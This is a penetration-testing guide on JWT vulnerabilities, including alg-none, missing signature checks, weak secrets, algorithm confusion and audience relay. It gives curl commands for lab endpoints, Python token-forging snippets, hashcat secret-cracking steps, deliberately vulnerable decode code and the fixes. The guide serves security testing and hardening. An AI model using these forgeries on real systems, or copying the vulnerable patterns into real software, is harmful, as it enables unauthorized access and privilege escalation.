JSON Web Token (JWT) Security

Introduction

JSON Web Tokens (JWTs) are a cornerstone of modern API authentication, enabling secure, stateless session management across multiple interfaces (e.g., web, mobile). Their self-contained nature centralizes server-side logic, enhancing security by applying consistent protections. However, misconfigurations in JWT implementation can lead to severe vulnerabilities, such as session hijacking, privilege escalation, or data exposure. This guide provides a structured overview of JWT structure, common vulnerabilities with integrated testing steps, mitigation strategies, and tools for penetration testing.

CWE Mappings:

CWE-345: Insufficient Verification of Data Authenticity
CWE-347: Improper Verification of Cryptographic Signature
CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute

JWT Fundamentals

JWT Structure

A JWT consists of three Base64Url-encoded components, separated by dots (.):

Header: Specifies the token type (JWT) and signing algorithm (e.g., HS256, RS256, none).
Payload: Contains claims (e.g., username, admin, exp, aud) with session or user data.
Signature: Ensures token authenticity using the algorithm specified in the header.

Example JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.ko7EQiATQQzrQPwRO8ZTY37pQWGLPZWEvdWH0tVDNPU

Signing Algorithms

None: No signature; claims cannot be verified.
Symmetric (e.g., HS256): Uses a single secret key for signing and verification.
Asymmetric (e.g., RS256): Uses a private key for signing and a public key for verification.

Token-Based Session Management

Unlike cookie-based systems, which rely on browser-managed cookies with attributes like Secure and HttpOnly, JWTs are managed client-side:

After authentication, the server issues a token in the response body.
Client-side JavaScript stores the token in LocalStorage or SessionStorage.
Tokens are sent in requests via the Authorization: Bearer <token> header.

Benefits:

Ideal for decentralized applications (e.g., APIs serving web and mobile).
Resistant to CSRF since tokens are not auto-sent like cookies.

Drawbacks:

No built-in browser protections, vulnerable to XSS.
Requires explicit client-side handling, increasing complexity.

Example Client-Side Code:

fetch('http://<SERVER_IP>:<PORT>/api', {
  headers: { 'Authorization': `Bearer ${localStorage.getItem('token')}` }
});

API Setup for Testing

Endpoints: http://<SERVER_IP>:<PORT>/api/v1.0/exampleX (replace X with example number).
Methods:
- POST: Authenticate to receive JWT with JSON body: {"username":"user","password":"passwordX"}.
- GET: Verify user or escalate privileges with query: ?username=user or ?username=admin.
Credentials: username: user, password: passwordX (replace X with example number).

Example Commands:

# Authenticate
curl -H 'Content-Type: application/json' -X POST -d '{"username":"user","password":"password1"}' http://<SERVER_IP>:<PORT>/api/v1.0/example1

# Verify user
curl -H 'Authorization: Bearer <JWT>' http://<SERVER_IP>:<PORT>/api/v1.0/example1?username=user

Common JWT Vulnerabilities and Manual Testing

1. Sensitive Information Disclosure

Description: Sensitive data (e.g., passwords, internal IPs, flags) included in JWT claims, exposed client-side.
Impact: Attackers can decode payloads to access sensitive information.

Example Payload:

{
  "username": "user",
  "password": "password1",
  "flag": "[redacted]"
}

Development Mistake: Storing sensitive data in claims instead of server-side.
Manual Testing:
1. Authenticate to obtain a JWT.
 curl -H 'Content-Type: application/json' -X POST -d '{"username":"user","password":"password1"}' http://<SERVER_IP>:<PORT>/api/v1.0/example1
2. Decode the payload to check for sensitive claims (e.g., password, flag).
 echo "eyJ...payload..." | base64 -d | jq .
3. Alternatively, use JWT.io for decoding.
4. If sensitive data is present, the vulnerability is confirmed.

Fix: Store sensitive data server-side, use claims for non-sensitive data.

payload = jwt.decode(token, secret, algorithms="HS256")
username = payload['username']
flag = db_lookup(username, "flag")  # Server-side lookup

2. No Signature Verification

Description: Server skips signature validation, accepting forged tokens.
Impact: Attackers can modify claims (e.g., admin: 1) without validation.

Development Mistake: Disabling signature verification.

payload = jwt.decode(token, options={'verify_signature': False})

Manual Testing:

Authenticate to get a JWT.

curl -H 'Content-Type: application/json' -X POST -d '{"username":"user","password":"password2"}' http://<SERVER_IP>:<PORT>/api/v1.0/example2

Remove the signature (keep the dot) and modify the payload to set admin: 1.

curl -H 'Authorization: Bearer header.payload.' http://<SERVER_IP>:<PORT>/api/v1.0/example2?username=admin

If the request succeeds, the server does not verify signatures.

Fix: Always verify signatures with the correct key.

payload = jwt.decode(token, secret, algorithms="HS256")

3. Algorithm Downgrade to None

Description: Server accepts none algorithm, bypassing signature checks.
Impact: Attackers can set alg: none and forge arbitrary claims.

Development Mistake: Allowing dynamic algorithm selection without restricting none.

header = jwt.get_unverified_header(token)
payload = jwt.decode(token, secret, algorithms=header['alg'])

Manual Testing:

Authenticate to get a JWT.

curl -H 'Content-Type: application/json' -X POST -d '{"username":"user","password":"password3"}' http://<SERVER_IP>:<PORT>/api/v1.0/example3

Modify the header to {"alg":"none","typ":"JWT"}, encode in Base64Url (e.g., via CyberChef), and set admin: 1 in the payload.
```
curl -H 'Authorization: Bearer forged_header.payload.' http://<SERVER_IP>:<PORT>/api/v1.0/example3?username=admin
```
If accepted, the server allows none algorithm.

Fix: Restrict allowed algorithms explicitly.

payload = jwt.decode(token, secret, algorithms=["HS256", "HS384", "HS512"])

4. Weak Symmetric Secrets

Description: Weak secrets used for symmetric signing (e.g., HS256) are vulnerable to brute-forcing.
Impact: Attackers can crack secrets and forge valid signatures.
Development Mistake: Using predictable or short secrets (e.g., password123).

Manual Testing:

Authenticate to obtain a JWT.

curl -H 'Content-Type: application/json' -X POST -d '{"username":"user","password":"password4"}' http://<SERVER_IP>:<PORT>/api/v1.0/example4

Save the JWT to a file and use Hashcat to crack the secret.

echo "eyJ..." > jwt.txt
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list
hashcat -m 16500 jwt.txt jwt.secrets.list

Forge a new token with the cracked secret and test.

import jwt
payload = {"username": "user", "admin": 1}
access_token = jwt.encode(payload, "cracked_secret", algorithm="HS256")

curl -H "Authorization: Bearer $access_token" http://<SERVER_IP>:<PORT>/api/v1.0/example4?username=admin

Fix: Use long, random secrets.

secret = "random_32_char_string_1234567890abcdef"
access_token = jwt.encode(payload, secret, algorithm="HS256")

5. Algorithm Confusion (Symmetric vs. Asymmetric)

Description: Server accepts both symmetric (HS256) and asymmetric (RS256) algorithms, using public key as symmetric secret.
Impact: Attackers can downgrade to HS256 and sign with known public key.
Development Mistake: Allowing mixed algorithms without validation.
```
payload = jwt.decode(token, secret, algorithms=["HS256", "RS256"])
```

Manual Testing:

Authenticate to get a JWT and public key.

curl -H 'Content-Type: application/json' -X POST -d '{"username":"user","password":"password5"}' http://<SERVER_IP>:<PORT>/api/v1.0/example5

Forge an HS256 token using the public key as the secret.

import jwt
public_key = "ADD_PUBLIC_KEY_HERE"
payload = {"username": "user", "admin": 1}
access_token = jwt.encode(payload, public_key, algorithm="HS256")
print(access_token)

Test the forged token.

curl -H "Authorization: Bearer $access_token" http://<SERVER_IP>:<PORT>/api/v1.0/example5?username=admin

Note: May require patching Pyjwt (algorithms.py, comment out lines 143-146 or adjust for is_ssh_key condition).

Fix: Separate symmetric and asymmetric logic.

header = jwt.get_unverified_header(token)
if "RS" in header['alg']:
    payload = jwt.decode(token, public_key, algorithms=["RS256", "RS384", "RS512"])
elif "HS" in header['alg']:
    payload = jwt.decode(token, secret, algorithms=["HS256", "HS384", "HS512"])

6. Excessive Token Lifetime

Description: Missing or overly long exp claim results in persistent tokens.
Impact: Stolen tokens remain valid indefinitely.
Development Mistake: Omitting exp claim or setting long lifetimes.
```
{
  "username": "user",
  "admin": 1
}
```

Manual Testing:

Use a provided token or authenticate to obtain one.

curl -H 'Content-Type: application/json' -X POST -d '{"username":"user","password":"password6"}' http://<SERVER_IP>:<PORT>/api/v1.0/example6

Check for exp claim and test token validity over time.

echo "eyJ...payload..." | base64 -d | jq .exp
curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.ko7EQiATQQzrQPwRO8ZTY37pQWGLPZWEvdWH0tVDNPU' http://<SERVER_IP>:<PORT>/api/v1.0/example6?username=admin

If the token remains valid after extended periods, the lifetime is excessive.

Fix: Set short exp values based on application needs.

from datetime import datetime, timedelta
payload = {"username": "user", "admin": 0, "exp": datetime.now() + timedelta(minutes=5)}
access_token = jwt.encode(payload, secret, algorithm="HS256")

7. Cross-Service Relay (Audience Misconfiguration)

Description: Unverified aud claim allows tokens to be used across unintended applications.
Impact: Privilege escalation across services (e.g., admin access on unintended app).

Development Mistake: Not enforcing aud claim verification.

payload = jwt.decode(token, secret, algorithms="HS256")  # No audience check

Manual Testing:

Authenticate for appB (admin privileges).

curl -H 'Content-Type: application/json' -X POST -d '{"username":"user","password":"password7","application":"appB"}' http://<SERVER_IP>:<PORT>/api/v1.0/example7

Reuse appB token on appA to check for privilege escalation.

curl -H 'Authorization: Bearer <appB_token>' http://<SERVER_IP>:<PORT>/api/v1.0/example7_appA?username=admin

If appA accepts the token, audience verification is missing.

Fix: Enforce audience claim verification.

payload = jwt.decode(token, secret, audience=["appA"], algorithms="HS256")

Impact on Penetration Testing

Implications for Pentesters

Forge Tokens: Bypass authentication or escalate privileges.
Exploit Weak Secrets: Crack secrets for session hijacking.
Extract Data: Access sensitive data from exposed claims.
Cross-Service Attacks: Exploit audience misconfigurations for unauthorized access.

Red Team Implications

Privilege Escalation: Forge tokens for silent admin access.
Persistent Access: Leverage long-lived tokens for extended attacks.
Data Exfiltration: Extract data from unverified JWTs.
Stealthy Attacks: Exploit insufficient logging for covert operations.

Mitigation Strategies

Strategy

Description

Example Code

Secure Payloads

Avoid sensitive claims; store data server-side.

python payload = {"username": "user", "admin": 0} flag = db_lookup(payload['username'], "flag") 

Enforce Signature Verification

Always validate signatures.

python payload = jwt.decode(token, secret, algorithms="HS256") 

Restrict Algorithms

Explicitly define allowed algorithms.

python payload = jwt.decode(token, secret, algorithms=["HS256", "HS384", "HS512"]) 

Use Strong Secrets

Generate long, random secrets for symmetric signing.

python secret = "random_32_char_string_1234567890abcdef" 

Separate Algorithm Logic

Differentiate symmetric and asymmetric validation.

python header = jwt.get_unverified_header(token) if "RS" in header['alg']: payload = jwt.decode(token, public_key, algorithms=["RS256", "RS384", "RS512"]) elif "HS" in header['alg']: payload = jwt.decode(token, secret, algorithms=["HS256", "HS384", "HS512"]) 

Set Short Token Lifetimes

Include exp claim with short durations.

python from datetime import datetime, timedelta payload = {"username": "user", "admin": 0, "exp": datetime.now() + timedelta(minutes=5)} 

Enforce Audience Claims

Verify aud claim for specific applications.

python payload = jwt.decode(token, secret, audience=["appA"], algorithms="HS256") 

Red Flags During Assessment

High Priority

Sensitive data in JWT claims (e.g., passwords, flags).
No signature verification or none algorithm accepted.
Weak symmetric secrets.
Algorithm confusion vulnerabilities.
Missing or excessive exp claim.
Unverified aud claims.

Medium Priority

Long token lifetimes.
Insufficient logging of token usage.
Lack of token blocklisting.
Insecure token transmission (e.g., over HTTP).

Business Impact Analysis

Immediate Risks

Privilege Escalation: Forged tokens granting unauthorized access.
Data Exposure: Sensitive information leaked from claims.
Persistent Access: Long-lived tokens enabling prolonged attacks.
Cross-Service Attacks: Unauthorized access across applications.

Long-term Consequences

Reputational Damage: Breaches eroding user trust.
Regulatory Fines: Non-compliance with GDPR, PCI DSS, etc.
Incident Response Costs: Resources spent on recovery and mitigation.

Tools for Detection and Testing

Open Source

Burp Suite: Manipulate and test JWTs in requests.
CyberChef: Encode/decode JWT components with Base64Url.
Hashcat: Crack weak symmetric secrets.
John the Ripper: Alternative for secret cracking.
JWT.io: Decode and forge JWTs online.
OWASP ZAP: Automated scanning for JWT vulnerabilities.

Commercial

Netsparker: API and JWT vulnerability scanning.
Acunetix: JWT and session testing.
AppScan: Comprehensive security testing.
Qualys WAS: Cloud-based scanning.

Example Tool Usage

# Test JWT vulnerabilities
import jwt
import requests

def test_jwt_vulnerabilities(url, token):
    header, payload, _ = token.split('.')
    # Test no signature
    response = requests.get(f"{url}?username=admin", headers={'Authorization': f'Bearer {header}.{payload}.'})
    if response.status_code == 200:
        print("No signature verification detected")
    # Test none algorithm
    none_header = jwt.encode({"alg":"none","typ":"JWT"}, None, algorithm="none").decode().split('.')[0]
    response = requests.get(f"{url}?username=admin", headers={'Authorization': f'Bearer {none_header}.{payload}.'})
    if response.status_code == 200:
        print("None algorithm accepted")

test_jwt_vulnerabilities("http://<SERVER_IP>:<PORT>/api/v1.0/example2", "<JWT>")

Practice Labs

Hack The Box: Challenges for JWT exploitation.
TryHackMe: API and JWT security rooms.
PortSwigger Web Security Academy: Labs focused on JWT vulnerabilities.
OverTheWire: Web exploitation wargames.

This reference is a penetration testing guide for JSON Web Token (JWT) security vulnerabilities. Misconfigured JWTs enable attackers to forge tokens, escalate privileges, or expose sensitive data. Secure payload management, strict signature verification, strong secrets, short lifetimes, and audience enforcement are critical for mitigation.

PreviousToken NextOS Command Injection

Last updated 8 months ago

hashtagIntroduction

hashtagJWT Fundamentals

hashtagJWT Structure

hashtagSigning Algorithms

hashtagToken-Based Session Management

hashtagAPI Setup for Testing

hashtagCommon JWT Vulnerabilities and Manual Testing

hashtag1. Sensitive Information Disclosure

hashtag2. No Signature Verification

hashtag3. Algorithm Downgrade to None

hashtag4. Weak Symmetric Secrets

hashtag5. Algorithm Confusion (Symmetric vs. Asymmetric)

hashtag6. Excessive Token Lifetime

hashtag7. Cross-Service Relay (Audience Misconfiguration)

hashtagImpact on Penetration Testing

hashtagImplications for Pentesters

hashtagRed Team Implications

hashtagMitigation Strategies

hashtagRed Flags During Assessment

hashtagHigh Priority

hashtagMedium Priority

hashtagBusiness Impact Analysis

hashtagImmediate Risks

hashtagLong-term Consequences

hashtagTools for Detection and Testing

hashtagOpen Source

hashtagCommercial

hashtagExample Tool Usage

hashtagPractice Labs

Introduction

JWT Fundamentals

JWT Structure

Signing Algorithms

Token-Based Session Management

API Setup for Testing

Common JWT Vulnerabilities and Manual Testing

1. Sensitive Information Disclosure

2. No Signature Verification

3. Algorithm Downgrade to None

4. Weak Symmetric Secrets

5. Algorithm Confusion (Symmetric vs. Asymmetric)

6. Excessive Token Lifetime

7. Cross-Service Relay (Audience Misconfiguration)

Impact on Penetration Testing

Implications for Pentesters

Red Team Implications

Mitigation Strategies

Red Flags During Assessment

High Priority

Medium Priority

Business Impact Analysis

Immediate Risks

Long-term Consequences

Tools for Detection and Testing

Open Source

Commercial

Example Tool Usage

Practice Labs